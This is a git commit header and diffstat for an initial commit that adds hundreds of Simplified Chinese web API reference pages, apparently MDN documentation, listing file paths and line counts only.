From 33058f2b292b3a581333bdfb21b8f671898c5060 Mon Sep 17 00:00:00 2001 From: Peter Bengtsson Date: Tue, 8 Dec 2020 14:40:17 -0500 Subject: initial commit --- files/zh-cn/web/api/abortsignal/aborted/index.html | 57 + files/zh-cn/web/api/abortsignal/index.html | 107 + files/zh-cn/web/api/abortsignal/onabort/index.html | 61 + files/zh-cn/web/api/abstractworker/index.html | 87 + .../web/api/abstractworker/onerror/index.html | 73 + files/zh-cn/web/api/accelerometer/index.html | 71 + .../ambientlightsensor/index.html | 96 + files/zh-cn/web/api/ambientlightsensor/index.html | 97 + .../web/api/ambientlightsensor/reading/index.html | 93 + .../web/api/analysernode/analysernode/index.html | 59 + files/zh-cn/web/api/analysernode/fft/index.html | 7 + .../zh-cn/web/api/analysernode/fftsize/index.html | 162 + .../api/analysernode/frequencybincount/index.html | 141 + .../analysernode/getbytefrequencydata/index.html | 151 + .../analysernode/getbytetimedomaindata/index.html | 111 + .../analysernode/getfloatfrequencydata/index.html | 142 + files/zh-cn/web/api/analysernode/index.html | 185 + .../analysernode/smoothingtimeconstant/index.html | 152 + .../web/api/angle_instanced_arrays/index.html | 85 + files/zh-cn/web/api/animation/animation/index.html | 106 + files/zh-cn/web/api/animation/cancel/index.html | 112 + .../zh-cn/web/api/animation/currenttime/index.html | 114 + files/zh-cn/web/api/animation/effect/index.html | 100 + files/zh-cn/web/api/animation/finish/index.html | 97 + files/zh-cn/web/api/animation/finished/index.html | 116 + files/zh-cn/web/api/animation/id/index.html | 109 + files/zh-cn/web/api/animation/index.html | 112 + files/zh-cn/web/api/animation/oncancel/index.html | 111 + files/zh-cn/web/api/animation/play/index.html | 91 + files/zh-cn/web/api/animation/playstate/index.html | 156 + .../api/animationevent/animationevent/index.html | 128 + .../api/animationevent/animationname/index.html | 91 + files/zh-cn/web/api/animationevent/index.html | 173 + files/zh-cn/web/api/animationtimeline/index.html | 98 + files/zh-cn/web/api/attr/index.html | 238 ++ files/zh-cn/web/api/attr/localname/index.html | 82 + files/zh-cn/web/api/attr/namespaceuri/index.html | 121 + files/zh-cn/web/api/attr/prefix/index.html | 67 + .../web/api/audiobuffer/audiobuffer/index.html | 59 + .../web/api/audiobuffer/copyfromchannel/index.html | 137 + .../zh-cn/web/api/audiobuffer/duration/index.html | 128 + .../web/api/audiobuffer/getchanneldata/index.html | 102 + files/zh-cn/web/api/audiobuffer/index.html | 111 + files/zh-cn/web/api/audiobuffer/length/index.html | 129 + .../api/audiobuffer/numberofchannels/index.html | 132 + .../web/api/audiobuffer/samplerate/index.html | 81 + .../audiobuffersourcenode/index.html | 64 + .../api/audiobuffersourcenode/buffer/index.html | 81 + .../zh-cn/web/api/audiobuffersourcenode/index.html | 225 ++ .../web/api/audiobuffersourcenode/start/index.html | 84 + .../web/api/audiocontext/audiocontext/index.html | 99 + .../web/api/audiocontext/baselatency/index.html | 54 + files/zh-cn/web/api/audiocontext/close/index.html | 115 + .../web/api/audiocontext/createanalyser/index.html | 154 + .../api/audiocontext/createbiquadfilter/index.html | 139 + .../web/api/audiocontext/createbuffer/index.html | 181 + .../api/audiocontext/createbuffersource/index.html | 150 + .../audiocontext/createchannelmerger/index.html | 143 + .../audiocontext/createchannelsplitter/index.html | 138 + .../api/audiocontext/createconvolver/index.html | 131 + .../web/api/audiocontext/createdelay/index.html | 213 ++ .../createmediaelementsource/index.html | 167 + .../createmediastreamdestination/index.html | 161 + .../createmediastreamsource/index.html | 180 + .../audiocontext/createscriptprocessor/index.html | 199 + .../api/audiocontext/createwaveshaper/index.html | 133 + .../web/api/audiocontext/currenttime/index.html | 112 + .../api/audiocontext/decodeaudiodata/index.html | 223 ++ .../web/api/audiocontext/destination/index.html | 114 + files/zh-cn/web/api/audiocontext/index.html | 107 + .../zh-cn/web/api/audiocontext/listener/index.html | 112 + .../audiocontext/mozaudiochanneltype/index.html | 95 + .../web/api/audiocontext/onstatechange/index.html | 101 + files/zh-cn/web/api/audiocontext/resume/index.html | 119 + .../web/api/audiocontext/samplerate/index.html | 112 + files/zh-cn/web/api/audiocontext/state/index.html | 111 + .../zh-cn/web/api/audiocontext/suspend/index.html | 115 + .../zh-cn/web/api/audiodestinationnode/index.html | 141 + .../maxchannelcount/index.html | 113 + files/zh-cn/web/api/audiolistener/index.html | 111 + .../api/audionode/connect(audioparam)/index.html | 163 + files/zh-cn/web/api/audionode/connect/index.html | 145 + files/zh-cn/web/api/audionode/index.html | 370 ++ files/zh-cn/web/api/audionodeoptions/index.html | 101 + files/zh-cn/web/api/audioparam/index.html | 215 ++ .../zh-cn/web/api/audioparamdescriptor/index.html | 50 + .../web/api/audioscheduledsourcenode/index.html | 81 + .../api/audioscheduledsourcenode/stop/index.html | 88 + files/zh-cn/web/api/audiotrack/index.html | 86 + files/zh-cn/web/api/audioworkletnode/index.html | 103 + .../zh-cn/web/api/audioworkletprocessor/index.html | 121 + .../clientdatajson/index.html | 80 + .../zh-cn/web/api/authenticatorresponse/index.html | 110 + .../zh-cn/web/api/background_tasks_api/index.html | 513 +++ .../createconstantsource/index.html | 110 + .../baseaudiocontext/createoscillator/index.html | 64 + .../baseaudiocontext/createperiodicwave/index.html | 101 + files/zh-cn/web/api/baseaudiocontext/index.html | 292 ++ files/zh-cn/web/api/battery_status_api/index.html | 77 + .../web/api/batterymanager/charging/index.html | 121 + files/zh-cn/web/api/batterymanager/index.html | 128 + files/zh-cn/web/api/beacon_api/index.html | 54 + .../api/beacon_api/using_the_beacon_api/index.html | 104 + .../web/api/beforeinstallpromptevent/index.html | 129 + .../api/beforeinstallpromptevent/prompt/index.html | 106 + files/zh-cn/web/api/beforeunloadevent/index.html | 71 + files/zh-cn/web/api/biquadfilternode/index.html | 215 ++ files/zh-cn/web/api/blob/arraybuffer/index.html | 66 + files/zh-cn/web/api/blob/blob/index.html | 123 + files/zh-cn/web/api/blob/index.html | 150 + files/zh-cn/web/api/blob/size/index.html | 18 + files/zh-cn/web/api/blob/slice/index.html | 117 + files/zh-cn/web/api/blob/stream/index.html | 66 + files/zh-cn/web/api/blob/text/index.html | 71 + files/zh-cn/web/api/blob/type/index.html | 73 + files/zh-cn/web/api/blobbuilder/index.html | 172 + files/zh-cn/web/api/bluetooth/index.html | 114 + .../web/api/bluetooth/requestdevice/index.html | 145 + files/zh-cn/web/api/body/arraybuffer/index.html | 142 + files/zh-cn/web/api/body/blob/index.html | 136 + files/zh-cn/web/api/body/body/index.html | 86 + files/zh-cn/web/api/body/bodyused/index.html | 134 + files/zh-cn/web/api/body/formdata/index.html | 122 + files/zh-cn/web/api/body/index.html | 100 + files/zh-cn/web/api/body/json/index.html | 90 + files/zh-cn/web/api/body/text/index.html | 85 + .../zh-cn/web/api/broadcast_channel_api/index.html | 85 + .../broadcastchannel/broadcastchannel/index.html | 58 + .../web/api/broadcastchannel/close/index.html | 55 + files/zh-cn/web/api/broadcastchannel/index.html | 94 + .../broadcastchannel/messageerror_event/index.html | 83 + .../zh-cn/web/api/broadcastchannel/name/index.html | 57 + .../web/api/broadcastchannel/onmessage/index.html | 55 + .../api/broadcastchannel/onmessageerror/index.html | 45 + .../api/broadcastchannel/postmessage/index.html | 44 + files/zh-cn/web/api/bytestring/index.html | 40 + files/zh-cn/web/api/cache/add/index.html | 198 + files/zh-cn/web/api/cache/addall/index.html | 202 + files/zh-cn/web/api/cache/delete/index.html | 150 + files/zh-cn/web/api/cache/index.html | 282 ++ files/zh-cn/web/api/cache/keys/index.html | 136 + files/zh-cn/web/api/cache/match/index.html | 173 + files/zh-cn/web/api/cache/matchall/index.html | 82 + files/zh-cn/web/api/cache/put/index.html | 109 + files/zh-cn/web/api/cachestorage/delete/index.html | 125 + files/zh-cn/web/api/cachestorage/has/index.html | 125 + files/zh-cn/web/api/cachestorage/index.html | 115 + files/zh-cn/web/api/cachestorage/keys/index.html | 122 + files/zh-cn/web/api/cachestorage/match/index.html | 91 + files/zh-cn/web/api/cachestorage/open/index.html | 85 + .../api/cameracontrol/getpreviewstream/index.html | 64 + files/zh-cn/web/api/cameracontrol/index.html | 88 + .../api/canvas_api/a_basic_ray-caster/index.html | 58 + .../drawing_graphics_with_canvas/index.html | 162 + files/zh-cn/web/api/canvas_api/index.html | 138 + .../manipulating_video_using_canvas/index.html | 160 + .../tutorial/advanced_animations/index.html | 380 ++ .../tutorial/applying_styles_and_colors/index.html | 684 ++++ .../tutorial/basic_animations/index.html | 718 ++++ .../api/canvas_api/tutorial/basic_usage/index.html | 152 + .../tutorial/compositing/example/index.html | 295 ++ .../api/canvas_api/tutorial/compositing/index.html | 112 + .../canvas_api/tutorial/drawing_shapes/index.html | 583 +++ .../canvas_api/tutorial/drawing_text/index.html | 162 + .../web/api/canvas_api/tutorial/finale/index.html | 68 + .../hit_regions_and_accessibility/index.html | 97 + files/zh-cn/web/api/canvas_api/tutorial/index.html | 58 + .../tutorial/optimizing_canvas/index.html | 115 + .../pixel_manipulation_with_canvas/index.html | 356 ++ .../canvas_api/tutorial/transformations/index.html | 278 ++ .../canvas_api/tutorial/using_images/index.html | 328 ++ .../web/api/canvascapturemediastream/index.html | 103 + .../web/api/canvasgradient/addcolorstop/index.html | 172 + files/zh-cn/web/api/canvasgradient/index.html | 104 + files/zh-cn/web/api/canvasimagesource/index.html | 29 + files/zh-cn/web/api/canvaspattern/index.html | 108 + .../web/api/canvaspattern/settransform/index.html | 180 + .../addhitregion/index.html | 307 ++ .../api/canvasrenderingcontext2d/arc/index.html | 218 ++ .../api/canvasrenderingcontext2d/arcto/index.html | 212 + .../canvasrenderingcontext2d/beginpath/index.html | 174 + .../beziercurveto/index.html | 191 + .../api/canvasrenderingcontext2d/canvas/index.html | 57 + .../clearhitregions/index.html | 121 + .../canvasrenderingcontext2d/clearrect/index.html | 110 + .../api/canvasrenderingcontext2d/clip/index.html | 191 + .../canvasrenderingcontext2d/closepath/index.html | 160 + .../createimagedata/index.html | 107 + .../createlineargradient/index.html | 156 + .../createpattern/index.html | 200 + .../createradialgradient/index.html | 147 + .../currenttransform/index.html | 178 + .../canvasrenderingcontext2d/direction/index.html | 103 + .../drawfocusifneeded/index.html | 133 + .../canvasrenderingcontext2d/drawimage/index.html | 277 ++ .../drawwidgetasonscreen/index.html | 89 + .../canvasrenderingcontext2d/drawwindow/index.html | 105 + .../canvasrenderingcontext2d/ellipse/index.html | 140 + .../api/canvasrenderingcontext2d/fill/index.html | 184 + .../canvasrenderingcontext2d/fillrect/index.html | 179 + .../canvasrenderingcontext2d/fillstyle/index.html | 170 + .../canvasrenderingcontext2d/filltext/index.html | 170 + .../api/canvasrenderingcontext2d/filter/index.html | 187 + .../api/canvasrenderingcontext2d/font/index.html | 141 + .../getimagedata/index.html | 96 + .../getlinedash/index.html | 124 + .../gettransform/index.html | 96 + .../globalalpha/index.html | 217 ++ .../globalcompositeoperation/index.html | 143 + .../imagesmoothingenabled/index.html | 142 + .../imagesmoothingquality/index.html | 182 + .../web/api/canvasrenderingcontext2d/index.html | 451 +++ .../ispointinpath/index.html | 206 + .../ispointinstroke/index.html | 193 + .../canvasrenderingcontext2d/linecap/index.html | 217 ++ .../linedashoffset/index.html | 162 + .../canvasrenderingcontext2d/linejoin/index.html | 213 ++ .../api/canvasrenderingcontext2d/lineto/index.html | 166 + .../canvasrenderingcontext2d/linewidth/index.html | 101 + .../measuretext/index.html | 71 + .../canvasrenderingcontext2d/miterlimit/index.html | 166 + .../api/canvasrenderingcontext2d/moveto/index.html | 166 + .../putimagedata/index.html | 242 ++ .../quadraticcurveto/index.html | 214 ++ .../api/canvasrenderingcontext2d/rect/index.html | 167 + .../removehitregion/index.html | 126 + .../resettransform/index.html | 161 + .../canvasrenderingcontext2d/restore/index.html | 161 + .../api/canvasrenderingcontext2d/rotate/index.html | 172 + .../api/canvasrenderingcontext2d/save/index.html | 170 + .../api/canvasrenderingcontext2d/scale/index.html | 133 + .../scrollpathintoview/index.html | 172 + .../setlinedash/index.html | 183 + .../settransform/index.html | 129 + .../canvasrenderingcontext2d/shadowblur/index.html | 174 + .../shadowcolor/index.html | 176 + .../shadowoffsetx/index.html | 166 + .../shadowoffsety/index.html | 166 + .../api/canvasrenderingcontext2d/stroke/index.html | 175 + .../canvasrenderingcontext2d/strokerect/index.html | 110 + .../strokestyle/index.html | 166 + .../canvasrenderingcontext2d/stroketext/index.html | 170 + .../canvasrenderingcontext2d/textalign/index.html | 180 + .../textbaseline/index.html | 130 + .../canvasrenderingcontext2d/transform/index.html | 176 + .../canvasrenderingcontext2d/translate/index.html | 168 + files/zh-cn/web/api/cdatasection/index.html | 85 + .../zh-cn/web/api/channel_messaging_api/index.html | 89 + .../index.html" | 179 + .../channelmergernode/channelmergernode/index.html | 64 + files/zh-cn/web/api/channelmergernode/index.html | 89 + files/zh-cn/web/api/characterdata/index.html | 148 + files/zh-cn/web/api/childnode/after/index.html | 175 + files/zh-cn/web/api/childnode/before/index.html | 187 + files/zh-cn/web/api/childnode/index.html | 77 + files/zh-cn/web/api/childnode/remove/index.html | 95 + .../zh-cn/web/api/childnode/replacewith/index.html | 111 + files/zh-cn/web/api/client/index.html | 131 + files/zh-cn/web/api/client/postmessage/index.html | 134 + files/zh-cn/web/api/clients/claim/index.html | 66 + files/zh-cn/web/api/clients/get/index.html | 60 + files/zh-cn/web/api/clients/index.html | 90 + files/zh-cn/web/api/clients/matchall/index.html | 68 + files/zh-cn/web/api/clients/openwindow/index.html | 81 + files/zh-cn/web/api/clipboard/index.html | 89 + files/zh-cn/web/api/clipboard/read/index.html | 84 + files/zh-cn/web/api/clipboard/readtext/index.html | 68 + files/zh-cn/web/api/clipboard/write/index.html | 76 + files/zh-cn/web/api/clipboard/writetext/index.html | 68 + files/zh-cn/web/api/clipboard_api/index.html | 73 + .../api/clipboardevent/clipboarddata/index.html | 58 + .../api/clipboardevent/clipboardevent/index.html | 68 + files/zh-cn/web/api/clipboardevent/index.html | 126 + files/zh-cn/web/api/clipboarditem/index.html | 139 + files/zh-cn/web/api/closeevent/index.html | 238 ++ files/zh-cn/web/api/comment/comment/index.html | 56 + files/zh-cn/web/api/comment/index.html | 72 + files/zh-cn/web/api/compositionevent/index.html | 81 + files/zh-cn/web/api/console/assert/index.html | 102 + files/zh-cn/web/api/console/clear/index.html | 110 + files/zh-cn/web/api/console/count/index.html | 169 + files/zh-cn/web/api/console/countreset/index.html | 132 + files/zh-cn/web/api/console/debug/index.html | 67 + files/zh-cn/web/api/console/dir/index.html | 106 + files/zh-cn/web/api/console/dirxml/index.html | 98 + files/zh-cn/web/api/console/error/index.html | 170 + files/zh-cn/web/api/console/group/index.html | 68 + .../web/api/console/groupcollapsed/index.html | 70 + files/zh-cn/web/api/console/groupend/index.html | 118 + files/zh-cn/web/api/console/index.html | 303 ++ files/zh-cn/web/api/console/info/index.html | 155 + files/zh-cn/web/api/console/log/index.html | 124 + files/zh-cn/web/api/console/profile/index.html | 114 + files/zh-cn/web/api/console/profileend/index.html | 46 + files/zh-cn/web/api/console/table/index.html | 151 + files/zh-cn/web/api/console/time/index.html | 55 + files/zh-cn/web/api/console/timeend/index.html | 61 + files/zh-cn/web/api/console/timelog/index.html | 102 + files/zh-cn/web/api/console/timestamp/index.html | 98 + files/zh-cn/web/api/console/trace/index.html | 70 + files/zh-cn/web/api/console/warn/index.html | 147 + files/zh-cn/web/api/console_api/index.html | 68 + files/zh-cn/web/api/convolvernode/index.html | 123 + .../web/api/credential_management_api/index.html | 153 + .../zh-cn/web/api/credentialscontainer/index.html | 150 + files/zh-cn/web/api/crypto/index.html | 61 + files/zh-cn/web/api/crypto/subtle/index.html | 88 + files/zh-cn/web/api/cryptokey/index.html | 108 + files/zh-cn/web/api/css/escape/index.html | 125 + .../zh-cn/web/api/css/factory_functions/index.html | 100 + files/zh-cn/web/api/css/index.html | 85 + files/zh-cn/web/api/css/supports/index.html | 130 + .../zh-cn/web/api/css_font_loading_api/index.html | 97 + .../index.html | 38 + files/zh-cn/web/api/css_object_model/index.html | 131 + .../using_dynamic_styling_information/index.html | 141 + files/zh-cn/web/api/cssconditionrule/index.html | 67 + files/zh-cn/web/api/cssgroupingrule/index.html | 82 + files/zh-cn/web/api/cssmathsum/index.html | 63 + files/zh-cn/web/api/cssmatrix/index.html | 93 + files/zh-cn/web/api/cssmediarule/index.html | 70 + files/zh-cn/web/api/cssrule/csstext/index.html | 37 + files/zh-cn/web/api/cssrule/index.html | 234 ++ .../web/api/cssrule/parentstylesheet/index.html | 36 + files/zh-cn/web/api/cssrulelist/index.html | 67 + .../getpropertycssvalue/index.html | 61 + .../getpropertypriority/index.html | 119 + .../getpropertyvalue/index.html | 71 + files/zh-cn/web/api/cssstyledeclaration/index.html | 98 + .../web/api/cssstyledeclaration/item/index.html | 117 + .../web/api/cssstyledeclaration/length/index.html | 108 + .../cssstyledeclaration/removeproperty/index.html | 125 + .../api/cssstyledeclaration/setproperty/index.html | 137 + files/zh-cn/web/api/cssstylerule/index.html | 54 + .../web/api/cssstylerule/selectortext/index.html | 33 + files/zh-cn/web/api/cssstylerule/style/index.html | 43 + .../web/api/cssstylesheet/deleterule/index.html | 36 + files/zh-cn/web/api/cssstylesheet/index.html | 181 + .../web/api/cssstylesheet/insertrule/index.html | 206 + files/zh-cn/web/api/csssupportsrule/index.html | 103 + files/zh-cn/web/api/cssvalue/index.html | 78 + files/zh-cn/web/api/cssvaluelist/index.html | 68 + files/zh-cn/web/api/cssvaluelist/length/index.html | 46 + .../index.html" | 65 + .../api/customelementregistry/define/index.html | 205 + .../web/api/customelementregistry/get/index.html | 72 + .../zh-cn/web/api/customelementregistry/index.html | 92 + .../api/customelementregistry/upgrade/index.html | 64 + .../customelementregistry/whendefined/index.html | 100 + .../web/api/customevent/customevent/index.html | 114 + files/zh-cn/web/api/customevent/detail/index.html | 68 + files/zh-cn/web/api/customevent/index.html | 148 + .../web/api/customevent/initcustomevent/index.html | 110 + .../web/api/datatransfer/cleardata/index.html | 237 ++ .../web/api/datatransfer/datatransfer/index.html | 47 + .../web/api/datatransfer/dropeffect/index.html | 131 + .../web/api/datatransfer/effectallowed/index.html | 189 + files/zh-cn/web/api/datatransfer/files/index.html | 110 + .../zh-cn/web/api/datatransfer/getdata/index.html | 111 + files/zh-cn/web/api/datatransfer/index.html | 148 + files/zh-cn/web/api/datatransfer/items/index.html | 113 + .../zh-cn/web/api/datatransfer/setdata/index.html | 196 + .../web/api/datatransfer/setdragimage/index.html | 193 + files/zh-cn/web/api/datatransfer/types/index.html | 177 + .../web/api/datatransferitem/getasfile/index.html | 94 + .../api/datatransferitem/getasstring/index.html | 102 + files/zh-cn/web/api/datatransferitem/index.html | 121 + .../zh-cn/web/api/datatransferitem/kind/index.html | 96 + .../zh-cn/web/api/datatransferitem/type/index.html | 87 + .../datatransferitem/webkitgetasentry/index.html | 179 + .../zh-cn/web/api/datatransferitemlist/index.html | 68 + .../web/api/datatransferitemlist/length/index.html | 137 + .../web/api/dedicatedworkerglobalscope/index.html | 132 + .../api/detecting_device_orientation/index.html | 318 ++ files/zh-cn/web/api/deviceacceleration/index.html | 46 + files/zh-cn/web/api/devicelightevent/index.html | 61 + .../devicelightevent/using_light_events/index.html | 74 + .../api/devicemotionevent/acceleration/index.html | 119 + .../accelerationincludinggravity/index.html | 119 + .../devicemotionevent/devicemotionevent/index.html | 38 + files/zh-cn/web/api/devicemotionevent/index.html | 80 + .../web/api/devicemotionevent/interval/index.html | 104 + .../api/devicemotionevent/rotationrate/index.html | 120 + .../api/deviceorientationevent/absolute/index.html | 100 + .../api/deviceorientationevent/alpha/index.html | 53 + .../web/api/deviceorientationevent/beta/index.html | 97 + .../api/deviceorientationevent/gamma/index.html | 98 + .../web/api/deviceorientationevent/index.html | 119 + .../zh-cn/web/api/deviceproximityevent/index.html | 104 + files/zh-cn/web/api/document/adoptnode/index.html | 98 + files/zh-cn/web/api/document/alinkcolor/index.html | 33 + files/zh-cn/web/api/document/all/index.html | 44 + files/zh-cn/web/api/document/anchors/index.html | 86 + files/zh-cn/web/api/document/applets/index.html | 17 + files/zh-cn/web/api/document/bgcolor/index.html | 31 + files/zh-cn/web/api/document/body/index.html | 29 + .../api/document/caretrangefrompoint/index.html | 138 + .../zh-cn/web/api/document/characterset/index.html | 122 + files/zh-cn/web/api/document/clear/index.html | 21 + files/zh-cn/web/api/document/close/index.html | 59 + files/zh-cn/web/api/document/compatmode/index.html | 80 + .../zh-cn/web/api/document/contenttype/index.html | 17 + files/zh-cn/web/api/document/cookie/index.html | 293 ++ .../simple_document.cookie_framework/index.html | 218 ++ .../web/api/document/createattribute/index.html | 90 + .../web/api/document/createcdatasection/index.html | 67 + .../web/api/document/createcomment/index.html | 33 + .../api/document/createdocumentfragment/index.html | 91 + .../web/api/document/createelement/index.html | 147 + .../web/api/document/createelementns/index.html | 179 + .../zh-cn/web/api/document/createevent/index.html | 189 + .../web/api/document/createexpression/index.html | 19 + .../web/api/document/createnodeiterator/index.html | 145 + .../web/api/document/creatensresolver/index.html | 44 + .../createprocessinginstruction/index.html | 46 + .../zh-cn/web/api/document/createrange/index.html | 36 + .../web/api/document/createtextnode/index.html | 85 + .../web/api/document/createtreewalker/index.html | 162 + .../web/api/document/currentscript/index.html | 68 + .../zh-cn/web/api/document/defaultview/index.html | 33 + files/zh-cn/web/api/document/designmode/index.html | 58 + files/zh-cn/web/api/document/dir/index.html | 98 + files/zh-cn/web/api/document/doctype/index.html | 59 + files/zh-cn/web/api/document/document/index.html | 42 + .../web/api/document/documentelement/index.html | 77 + .../zh-cn/web/api/document/documenturi/index.html | 55 + .../web/api/document/documenturiobject/index.html | 26 + files/zh-cn/web/api/document/domain/index.html | 101 + .../api/document/domcontentloaded_event/index.html | 184 + files/zh-cn/web/api/document/drag_event/index.html | 340 ++ .../web/api/document/dragend_event/index.html | 254 ++ .../web/api/document/dragenter_event/index.html | 249 ++ .../web/api/document/dragleave_event/index.html | 251 ++ .../web/api/document/dragover_event/index.html | 253 ++ .../web/api/document/dragstart_event/index.html | 308 ++ files/zh-cn/web/api/document/drop_event/index.html | 265 ++ .../web/api/document/elementfrompoint/index.html | 44 + .../web/api/document/elementsfrompoint/index.html | 128 + files/zh-cn/web/api/document/embeds/index.html | 51 + files/zh-cn/web/api/document/evaluate/index.html | 168 + .../zh-cn/web/api/document/execcommand/index.html | 175 + .../web/api/document/exitfullscreen/index.html | 114 + .../web/api/document/exitpointerlock/index.html | 105 + files/zh-cn/web/api/document/fgcolor/index.html | 40 + files/zh-cn/web/api/document/fonts/index.html | 57 + files/zh-cn/web/api/document/forms/index.html | 61 + .../api/document/fullscreenchange_event/index.html | 85 + .../web/api/document/getelementbyid/index.html | 147 + .../api/document/getelementsbyclassname/index.html | 129 + .../web/api/document/getelementsbyname/index.html | 95 + .../api/document/getelementsbytagname/index.html | 98 + .../api/document/getelementsbytagnamens/index.html | 133 + .../zh-cn/web/api/document/getselection/index.html | 14 + files/zh-cn/web/api/document/hasfocus/index.html | 122 + .../web/api/document/hasstorageaccess/index.html | 49 + files/zh-cn/web/api/document/head/index.html | 72 + files/zh-cn/web/api/document/height/index.html | 50 + files/zh-cn/web/api/document/hidden/index.html | 44 + files/zh-cn/web/api/document/images/index.html | 65 + .../web/api/document/implementation/index.html | 68 + files/zh-cn/web/api/document/importnode/index.html | 69 + files/zh-cn/web/api/document/index.html | 673 ++++ .../web/api/document/inputencoding/index.html | 20 + .../web/api/document/keypress_event/index.html | 149 + .../zh-cn/web/api/document/lastmodified/index.html | 31 + .../web/api/document/laststylesheetset/index.html | 51 + files/zh-cn/web/api/document/linkcolor/index.html | 46 + files/zh-cn/web/api/document/links/index.html | 60 + files/zh-cn/web/api/document/location/index.html | 91 + .../web/api/document/mozfullscreen/index.html | 108 + .../api/document/mozfullscreenelement/index.html | 77 + .../api/document/mozfullscreenenabled/index.html | 82 + .../api/document/mozsyntheticdocument/index.html | 38 + .../api/document/onbeforescriptexecute/index.html | 44 + .../web/api/document/onfullscreenchange/index.html | 70 + .../web/api/document/onfullscreenerror/index.html | 103 + files/zh-cn/web/api/document/onoffline/index.html | 8 + files/zh-cn/web/api/document/ononline/index.html | 40 + .../web/api/document/onvisibilitychange/index.html | 53 + files/zh-cn/web/api/document/open/index.html | 126 + files/zh-cn/web/api/document/origin/index.html | 100 + files/zh-cn/web/api/document/plugins/index.html | 52 + .../document/pointerlockchange_event/index.html | 72 + .../web/api/document/pointerlockelement/index.html | 105 + .../api/document/preferredstylesheetset/index.html | 47 + .../api/document/querycommandenabled/index.html | 83 + .../web/api/document/querycommandstate/index.html | 98 + .../api/document/querycommandsupported/index.html | 116 + .../web/api/document/queryselector/index.html | 126 + .../web/api/document/queryselectorall/index.html | 185 + files/zh-cn/web/api/document/readystate/index.html | 130 + files/zh-cn/web/api/document/referrer/index.html | 38 + .../web/api/document/registerelement/index.html | 66 + .../web/api/document/releasecapture/index.html | 20 + .../web/api/document/rouchmove_event/index.html | 171 + files/zh-cn/web/api/document/scripts/index.html | 69 + .../zh-cn/web/api/document/scroll_event/index.html | 100 + .../web/api/document/scrollingelement/index.html | 97 + .../api/document/selectedstylesheetset/index.html | 46 + .../api/document/selectionchange_event/index.html | 147 + .../web/api/document/selectstart_event/index.html | 127 + .../zh-cn/web/api/document/stylesheets/index.html | 25 + .../web/api/document/stylesheetsets/index.html | 54 + files/zh-cn/web/api/document/timeline/index.html | 66 + files/zh-cn/web/api/document/title/index.html | 42 + .../zh-cn/web/api/document/tooltipnode/index.html | 14 + .../web/api/document/touchcancel_event/index.html | 73 + .../web/api/document/touchend_event/index.html | 116 + .../web/api/document/touchstart_event/index.html | 69 + files/zh-cn/web/api/document/url/index.html | 17 + .../api/document/visibilitychange_event/index.html | 124 + .../web/api/document/visibilitystate/index.html | 52 + files/zh-cn/web/api/document/width/index.html | 32 + files/zh-cn/web/api/document/write/index.html | 111 + files/zh-cn/web/api/document/writeln/index.html | 25 + .../api/document_object_model/events/index.html | 80 + .../api/document_object_model/examples/index.html | 375 ++ .../how_to_create_a_dom_tree/index.html | 145 + .../zh-cn/web/api/document_object_model/index.html | 411 ++ .../document_object_model/introduction/index.html | 239 ++ .../index.html | 54 + .../api/document_object_model/preface/index.html | 51 + .../using_the_w3c_dom_level_1_core/index.html | 88 + .../document_object_model/whitespace/index.html | 194 + .../documentfragment/documentfragment/index.html | 89 + files/zh-cn/web/api/documentfragment/index.html | 133 + .../api/documentfragment/queryselector/index.html | 81 + .../documentfragment/queryselectorall/index.html | 61 + .../documentorshadowroot/activeelement/index.html | 86 + .../elementfrompoint/index.html | 85 + .../elementsfrompoint/index.html | 50 + .../documentorshadowroot/getselection/index.html | 75 + .../zh-cn/web/api/documentorshadowroot/index.html | 78 + .../documentorshadowroot/stylesheets/index.html | 52 + files/zh-cn/web/api/documenttouch/index.html | 32 + files/zh-cn/web/api/documenttype/index.html | 91 + files/zh-cn/web/api/domerror/index.html | 212 + files/zh-cn/web/api/domexception/code/index.html | 43 + .../web/api/domexception/domexception/index.html | 106 + files/zh-cn/web/api/domexception/index.html | 154 + files/zh-cn/web/api/domhighrestimestamp/index.html | 167 + .../domimplementation/createdocument/index.html | 83 + .../createdocumenttype/index.html | 78 + .../createhtmldocument/index.html | 92 + .../api/domimplementation/hasfeature/index.html | 117 + files/zh-cn/web/api/domimplementation/index.html | 189 + files/zh-cn/web/api/domlocator/index.html | 50 + files/zh-cn/web/api/dommatrix/index.html | 181 + files/zh-cn/web/api/domparser/domparser/index.html | 18 + files/zh-cn/web/api/domparser/index.html | 203 + files/zh-cn/web/api/dompoint/dompoint/index.html | 68 + files/zh-cn/web/api/dompoint/index.html | 100 + files/zh-cn/web/api/dompoint/w/index.html | 45 + files/zh-cn/web/api/dompoint/x/index.html | 45 + files/zh-cn/web/api/dompoint/y/index.html | 45 + files/zh-cn/web/api/dompoint/z/index.html | 45 + files/zh-cn/web/api/domquad/index.html | 58 + files/zh-cn/web/api/domrect/domrect/index.html | 64 + files/zh-cn/web/api/domrect/index.html | 88 + files/zh-cn/web/api/domrectreadonly/index.html | 77 + files/zh-cn/web/api/domstring/binary/index.html | 23 + files/zh-cn/web/api/domstring/index.html | 52 + files/zh-cn/web/api/domstringlist/index.html | 30 + files/zh-cn/web/api/domstringmap/index.html | 45 + files/zh-cn/web/api/domtimestamp/index.html | 27 + files/zh-cn/web/api/domtokenlist/add/index.html | 73 + .../zh-cn/web/api/domtokenlist/contains/index.html | 73 + files/zh-cn/web/api/domtokenlist/index.html | 118 + files/zh-cn/web/api/domtokenlist/item/index.html | 69 + files/zh-cn/web/api/domtokenlist/keys/index.html | 75 + files/zh-cn/web/api/domtokenlist/length/index.html | 66 + files/zh-cn/web/api/domtokenlist/remove/index.html | 77 + .../zh-cn/web/api/domtokenlist/replace/index.html | 82 + files/zh-cn/web/api/domtokenlist/toggle/index.html | 144 + .../web/api/dragevent/datatransfer/index.html | 120 + files/zh-cn/web/api/dragevent/dragevent/index.html | 113 + files/zh-cn/web/api/dragevent/index.html | 156 + .../web/api/dynamicscompressornode/index.html | 108 + files/zh-cn/web/api/effecttiming/easing/index.html | 105 + files/zh-cn/web/api/effecttiming/index.html | 78 + files/zh-cn/web/api/element/accesskey/index.html | 22 + .../web/api/element/activate_event/index.html | 108 + files/zh-cn/web/api/element/animate/index.html | 205 + .../zh-cn/web/api/element/assignedslot/index.html | 89 + .../zh-cn/web/api/element/attachshadow/index.html | 168 + files/zh-cn/web/api/element/attributes/index.html | 127 + files/zh-cn/web/api/element/classlist/index.html | 293 ++ files/zh-cn/web/api/element/classname/index.html | 126 + files/zh-cn/web/api/element/click_event/index.html | 269 ++ .../zh-cn/web/api/element/clientheight/index.html | 62 + files/zh-cn/web/api/element/clientleft/index.html | 62 + 